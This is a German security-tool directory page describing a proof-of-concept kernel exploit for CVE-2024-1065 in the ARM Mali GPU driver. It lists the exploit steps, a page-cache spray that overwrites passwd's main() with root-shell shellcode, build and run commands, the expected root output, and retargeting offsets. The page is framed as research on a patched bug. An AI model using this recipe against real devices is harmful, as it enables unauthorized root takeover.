Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-1065 — Proof-of-Concept-Exploit für CVE-2024-1065, der Page-Cache-Ausnutzung über einen Use-after-Free im ARM-Mali-GPU-Kernel-Treiber demonstriert, um beliebige Codeausführung als Root ohne Datenträgeränderung zu erreichen. | Kitploit
Tools/GitHubGitHub/kuzeyardabulut/cve-2024-1065
Privilege EscalationSpeicherforensikSchwachstellenanalyseExploitationShellcodePayload-EntwicklungBinary-Exploitation
GitHubkuzeyardabulut/cve-2024-1065

CVE-2024-1065

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Proof-of-Concept-Exploit für CVE-2024-1065, der Page-Cache-Ausnutzung über einen Use-after-Free im ARM-Mali-GPU-Kernel-Treiber demonstriert, um beliebige Codeausführung als Root ohne Datenträgeränderung zu erreichen.

Repository anzeigen
414vor 3 MonatenNoch nicht geprüft

CVE-2024-1065 — PoC zur Ausnutzung des Page Caches

Proof-of-Concept-Exploit für CVE-2024-1065, einen Use-After-Free einer physischen Seite im ARM Mali GPU-Kernel-Treiber. Der Exploit demonstriert Page-Cache-Ausnutzung: Durch Rennen einer freigegebenen MIGRATE_MOVABLE-Seite in das In-Memory-Code-Image eines SUID-Binärprogramms wird diese überschrieben, um eine beliebige Codeausführung als Root zu erreichen, ohne eine Datei auf der Festplatte zu verändern.

Nur zu Forschungszwecken. Dieser PoC zielt auf eine gepatchte Schwachstelle auf einem kontrollierten x86-Testsystem ab. Der angreifbare Codepfad kann auf Produktions-Pixel-Geräten nicht aus dem Userspace ausgelöst werden.


Funktionsweise

  1. UAF auslösen — Eine anonyme Seite wird über KBASE_IOCTL_MEM_IMPORT in den Mali GPU-Treiber importiert und zweimal in den Userspace gemappt. Das Freigeben beider Mappings gibt die physische Seite an die MIGRATE_MOVABLE-Buddy-Freeliste zurück, während cpu_mapping2 sie weiterhin aliast.

  2. Page Cache sprayen — Der Exploit öffnet /usr/bin/passwd 100 Mal und entfernt wiederholt die Seite an PAGE_OFFSET mit posix_fadvise(POSIX_FADV_DONTNEED), löst dann einen Cache-Fehler mit pread aus. Jeder Fehler zwingt den Kernel, eine neue MIGRATE_MOVABLE-Seite zu allozieren, und durchläuft die Freeliste, bis die UAF-Seite ausgewählt wird.

  3. Überlappung bestätigen — Ein Test-Byte-Lesen durch cpu_mapping2 an MAIN_OFFSET bestätigt, dass die UAF-Seite nun den Page-Cache-Eintrag des Binärprogramms stützt. Die Werte 0x00 und 0x61 zeigen einen Fehler an; alles andere ist echter Binärcode.

  4. Shellcode injizieren — memcpy durch cpu_mapping2 überschreibt main() mit Shellcode, der setuid(0), setgid(0) und execve("/bin/sh") aufruft.

  5. Ausführen — execve("/usr/bin/passwd") wird aufgerufen. Der ELF-Loader mappt die Page-Cache-Seiten des Binärprogramms als ausführbar. Die korrumpierte Seite ist bereits vorhanden – es findet kein Plattenlesen statt – also läuft der Shellcode als Root.


Anforderungen


Erstellen

root@kitploit:~
gcc -O2 -o exploit exploit.c

Verwendung

root@kitploit:~
./exploit

Erwartete Ausgabe:

root@kitploit:~
[*] Opened /usr/bin/passwd x100
[*] MEM_IMPORT: flags=0x...  gpu_va=0x...  va_pages=0x1
[*] gpu_mapping  (VA 1): 0x...
[*] cpu_mapping2 (VA 2): 0x...
[*] UAF triggered — stale mapping alive at 0x...
[*] Spraying page cache (100 attempts)...
[+] Overlap confirmed on attempt N (byte=0xf3) — cpu_mapping2 aliases the page cache!
[*] Shellcode written. Triggering execve...
# id
uid=0(root) gid=0(root) groups=0(root)

Umzielen

Alle zielspezifischen Werte sind am Anfang von exploit.c definiert:

root@kitploit:~
#define TARGET_BINARY  "/usr/bin/passwd"
#define PAGE_OFFSET    0x4000   /* file offset of the page containing main() */
#define MAIN_OFFSET    0xbc0    /* intra-page offset of main()               */

Um auf ein anderes Binärprogramm umzuzielen, finden Sie den Funktions-Offset, indem Sie _start an der Einstiegspunktadresse disassemblieren (readelf -h), und berechnen Sie dann:

root@kitploit:~
PAGE_OFFSET = sym_va & ~0xfff
MAIN_OFFSET = sym_va &  0xfff

Vor dem Ausführen überprüfen:

root@kitploit:~
dd if=<TARGET_BINARY> bs=1 skip=$((PAGE_OFFSET + MAIN_OFFSET)) count=8 2>/dev/null | xxd

Fehlerbehebung


Referenzen

  • CVE-2024-1065 — Project Zero Fehlerbericht
  • Dirty Pagetable — Black Hat USA 2023
  • The Dirty Pipe Vulnerability (CVE-2022-0847)
Tool herunterladen
AnforderungWert
Architekturx86-64
Kernel5.15 (getestet auf 5.15.0+)
Kernel-KonfigurationCONFIG_MALI_NO_MALI=y, CONFIG_MALI_CSF_SUPPORT=y, r48
Gerät/dev/mali0 vom Userspace aus zugänglich
Ziel-Binärprogramm/usr/bin/passwd (SUID root)
SymptomUrsacheLösung
Sprayen schlägt nach 100 Versuchen fehlUAF-Seite vor dem Wettrennen verbrauchtZielseite vor dem Auslösen der UAF vorzeitig entfernen; NUM_FDS erhöhen
kernel BUG at mm/page_poison.cTestprüfung auf 0xaa-Seitenvergiftungsbyte bestandenprobe != 0xaa zur Bestätigungsprüfung hinzufügen
SYSCHK schlägt bei MEM_IMPORT fehlMali-Treiber nicht geladen oder falsche VersionCONFIG_MALI_NO_MALI und Treiberversions-Handshake prüfen